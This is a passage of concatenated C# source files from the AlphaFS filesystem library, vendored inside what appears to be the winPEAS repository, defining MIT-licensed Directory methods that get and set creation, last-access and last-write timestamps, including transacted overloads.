PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region .NET /// Gets the date and time, in coordinated universal time (UTC), that the specified directory was last accessed. /// A structure set to the date and time that the specified directory was last accessed. This value is expressed in local time. /// The directory for which to obtain access date and time information. [SecurityCritical] public static DateTime GetLastAccessTimeUtc(string path) { return File.GetLastAccessTimeCore(null, path, true, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Gets the date and time, in coordinated universal time (UTC), that the specified directory was last accessed. /// A structure set to the date and time that the specified directory was last accessed. This value is expressed in local time. /// The directory for which to obtain access date and time information. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DateTime GetLastAccessTimeUtc(string path, PathFormat pathFormat) { return File.GetLastAccessTimeCore(null, path, true, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetLastAccessTimeUtcTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Gets the date and time, in coordinated universal time (UTC), that the specified directory was last accessed. /// A structure set to the date and time that the specified directory was last accessed. This value is expressed in local time. /// The transaction. /// The directory for which to obtain access date and time information. [SecurityCritical] public static DateTime GetLastAccessTimeUtcTransacted(KernelTransaction transaction, string path) { return File.GetLastAccessTimeCore(transaction, path, true, PathFormat.RelativePath); } /// [AlphaFS] Gets the date and time, in coordinated universal time (UTC), that the specified directory was last accessed. /// A structure set to the date and time that the specified directory was last accessed. This value is expressed in local time. /// The transaction. /// The directory for which to obtain access date and time information. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DateTime GetLastAccessTimeUtcTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return File.GetLastAccessTimeCore(transaction, path, true, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetLastWriteTime.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region .NET /// Gets the date and time that the specified directory was last written to. /// A structure set to the date and time that the specified directory was last written to. This value is expressed in local time. /// The directory for which to obtain write date and time information. [SecurityCritical] public static DateTime GetLastWriteTime(string path) { return File.GetLastWriteTimeCore(null, path, false, PathFormat.RelativePath).ToLocalTime(); } #endregion // .NET /// [AlphaFS] Gets the date and time that the specified directory was last written to. /// A structure set to the date and time that the specified directory was last written to. This value is expressed in local time. /// The directory for which to obtain write date and time information. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DateTime GetLastWriteTime(string path, PathFormat pathFormat) { return File.GetLastWriteTimeCore(null, path, false, pathFormat).ToLocalTime(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetLastWriteTimeTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Gets the date and time that the specified directory was last written to. /// A structure set to the date and time that the specified directory was last written to. This value is expressed in local time. /// The transaction. /// The directory for which to obtain write date and time information. [SecurityCritical] public static DateTime GetLastWriteTimeTransacted(KernelTransaction transaction, string path) { return File.GetLastWriteTimeCore(transaction, path, false, PathFormat.RelativePath).ToLocalTime(); } /// [AlphaFS] Gets the date and time that the specified directory was last written to. /// A structure set to the date and time that the specified directory was last written to. This value is expressed in local time. /// The transaction. /// The directory for which to obtain write date and time information. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DateTime GetLastWriteTimeTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return File.GetLastWriteTimeCore(transaction, path, false, pathFormat).ToLocalTime(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetLastWriteTimeUtc.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region .NET /// Gets the date and time, in coordinated universal time (UTC) time, that the specified directory was last written to. /// A structure set to the date and time that the specified directory was last written to. This value is expressed in local time. /// The directory for which to obtain write date and time information. [SecurityCritical] public static DateTime GetLastWriteTimeUtc(string path) { return File.GetLastWriteTimeCore(null, path, true, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Gets the date and time, in coordinated universal time (UTC) time, that the specified directory was last written to. /// A structure set to the date and time that the specified directory was last written to. This value is expressed in local time. /// The directory for which to obtain write date and time information. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DateTime GetLastWriteTimeUtc(string path, PathFormat pathFormat) { return File.GetLastWriteTimeCore(null, path, true, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.GetLastWriteTimeUtcTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Gets the date and time, in coordinated universal time (UTC) time, that the specified directory was last written to. /// A structure set to the date and time that the specified directory was last written to. This value is expressed in local time. /// The transaction. /// The directory for which to obtain write date and time information. [SecurityCritical] public static DateTime GetLastWriteTimeUtcTransacted(KernelTransaction transaction, string path) { return File.GetLastWriteTimeCore(transaction, path, true, PathFormat.RelativePath); } /// [AlphaFS] Gets the date and time, in coordinated universal time (UTC) time, that the specified directory was last written to. /// A structure set to the date and time that the specified directory was last written to. This value is expressed in local time. /// The transaction. /// The directory for which to obtain write date and time information. /// Indicates the format of the path parameter(s). [SecurityCritical] public static DateTime GetLastWriteTimeUtcTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return File.GetLastWriteTimeCore(transaction, path, true, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.SetCreationTime.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region .NET /// Sets the date and time the directory was created. /// The directory for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. [SecurityCritical] public static void SetCreationTime(string path, DateTime creationTime) { File.SetFsoDateTimeCore(null, false, path, creationTime.ToUniversalTime(), null, null, false, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Sets the date and time the directory was created. /// The directory for which to set the creation date and time information. /// Indicates the format of the path parameter(s). /// A containing the value to set for the creation date and time of . This value is expressed in local time. [SecurityCritical] public static void SetCreationTime(string path, DateTime creationTime, PathFormat pathFormat) { File.SetFsoDateTimeCore(null, false, path, creationTime.ToUniversalTime(), null, null, false, pathFormat); } /// [AlphaFS] Sets the date and time the directory was created. /// The directory for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetCreationTime(string path, DateTime creationTime, bool modifyReparsePoint) { File.SetFsoDateTimeCore(null, false, path, creationTime.ToUniversalTime(), null, null, modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time the directory was created. /// The directory for which to set the creation date and time information. /// Indicates the format of the path parameter(s). /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetCreationTime(string path, DateTime creationTime, bool modifyReparsePoint, PathFormat pathFormat) { File.SetFsoDateTimeCore(null, false, path, creationTime.ToUniversalTime(), null, null, modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.SetCreationTimeTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Sets the date and time the directory was created. /// The transaction. /// The directory for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. [SecurityCritical] public static void SetCreationTimeTransacted(KernelTransaction transaction, string path, DateTime creationTime) { File.SetFsoDateTimeCore(transaction, false, path, creationTime.ToUniversalTime(), null, null, false, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time the directory was created. /// The transaction. /// The directory for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetCreationTimeTransacted(KernelTransaction transaction, string path, DateTime creationTime, PathFormat pathFormat) { File.SetFsoDateTimeCore(transaction, false, path, creationTime.ToUniversalTime(), null, null, false, pathFormat); } /// [AlphaFS] Sets the date and time the directory was created. /// The transaction. /// The directory for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetCreationTimeTransacted(KernelTransaction transaction, string path, DateTime creationTime, bool modifyReparsePoint) { File.SetFsoDateTimeCore(transaction, false, path, creationTime.ToUniversalTime(), null, null, modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time the directory was created. /// The transaction. /// The directory for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetCreationTimeTransacted(KernelTransaction transaction, string path, DateTime creationTime, bool modifyReparsePoint, PathFormat pathFormat) { File.SetFsoDateTimeCore(transaction, false, path, creationTime.ToUniversalTime(), null, null, modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.SetCreationTimeUtc.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region .NET /// Sets the date and time, in coordinated universal time (UTC), that the directory was created. /// The directory for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. [SecurityCritical] public static void SetCreationTimeUtc(string path, DateTime creationTimeUtc) { File.SetFsoDateTimeCore(null, false, path, creationTimeUtc, null, null, false, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the directory was created. /// The directory for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetCreationTimeUtc(string path, DateTime creationTimeUtc, PathFormat pathFormat) { File.SetFsoDateTimeCore(null, false, path, creationTimeUtc, null, null, false, pathFormat); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the directory was created. /// The directory for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetCreationTimeUtc(string path, DateTime creationTimeUtc, bool modifyReparsePoint) { File.SetFsoDateTimeCore(null, false, path, creationTimeUtc, null, null, modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the directory was created. /// The directory for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetCreationTimeUtc(string path, DateTime creationTimeUtc, bool modifyReparsePoint, PathFormat pathFormat) { File.SetFsoDateTimeCore(null, false, path, creationTimeUtc, null, null, modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.SetCreationTimeUtcTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the directory was created. /// The transaction. /// The directory for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. [SecurityCritical] public static void SetCreationTimeUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc) { File.SetFsoDateTimeCore(transaction, false, path, creationTimeUtc, null, null, false, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the directory was created. /// The transaction. /// The directory for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetCreationTimeUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, PathFormat pathFormat) { File.SetFsoDateTimeCore(transaction, false, path, creationTimeUtc, null, null, false, pathFormat); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the directory was created. /// The transaction. /// The directory for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetCreationTimeUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, bool modifyReparsePoint) { File.SetFsoDateTimeCore(transaction, false, path, creationTimeUtc, null, null, modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time, in coordinated universal time (UTC), that the directory was created. /// The transaction. /// The directory for which to set the creation date and time information. /// A containing the value to set for the creation date and time of . This value is expressed in UTC time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetCreationTimeUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, bool modifyReparsePoint, PathFormat pathFormat) { File.SetFsoDateTimeCore(transaction, false, path, creationTimeUtc, null, null, modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.SetLastAccessTime.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { #region .NET /// Sets the date and time that the specified directory was last accessed. /// The file for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in local time. [SecurityCritical] public static void SetLastAccessTime(string path, DateTime lastAccessTime) { File.SetFsoDateTimeCore(null, false, path, null, lastAccessTime.ToUniversalTime(), null, false, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Sets the date and time that the specified directory was last accessed. /// The file for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastAccessTime(string path, DateTime lastAccessTime, PathFormat pathFormat) { File.SetFsoDateTimeCore(null, false, path, null, lastAccessTime.ToUniversalTime(), null, false, pathFormat); } /// [AlphaFS] Sets the date and time that the specified directory was last accessed. /// The file for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetLastAccessTime(string path, DateTime lastAccessTime, bool modifyReparsePoint) { File.SetFsoDateTimeCore(null, false, path, null, lastAccessTime.ToUniversalTime(), null, modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time that the specified directory was last accessed. /// The file for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastAccessTime(string path, DateTime lastAccessTime, bool modifyReparsePoint, PathFormat pathFormat) { File.SetFsoDateTimeCore(null, false, path, null, lastAccessTime.ToUniversalTime(), null, modifyReparsePoint, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Time/Directory.SetLastAccessTimeTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Sets the date and time that the specified directory was last accessed. /// The transaction. /// The directory for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in local time. [SecurityCritical] public static void SetLastAccessTimeTransacted(KernelTransaction transaction, string path, DateTime lastAccessTime) { File.SetFsoDateTimeCore(transaction, false, path, null, lastAccessTime.ToUniversalTime(), null, false, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time that the specified directory was last accessed. /// The transaction. /// The directory for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void SetLastAccessTimeTransacted(KernelTransaction transaction, string path, DateTime lastAccessTime, PathFormat pathFormat) { File.SetFsoDateTimeCore(transaction, false, path, null, lastAccessTime.ToUniversalTime(), null, false, pathFormat); } /// [AlphaFS] Sets the date and time that the specified directory was last accessed. /// The transaction. /// The directory for which to set the access date and time information. /// A containing the value to set for the last access date and time of . This value is expressed in local time. /// If true, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if does not refer to a reparse point. [SecurityCritical] public static void SetLastAccessTimeTransacted(KernelTransaction transaction, string path, DateTime lastAccessTime, bool modifyReparsePoint) { File.SetFsoDateTimeCore(transaction, false, path, null, lastAccessTime.ToUniversalTime(), null, modifyReparsePoint, PathFormat.RelativePath); } /// [AlphaFS] Sets the date and time that the specified directory was last accessed. /// The transaction. /// The directory for which to set the access date and time information. /// A containing the value to set for the last access date and time of . 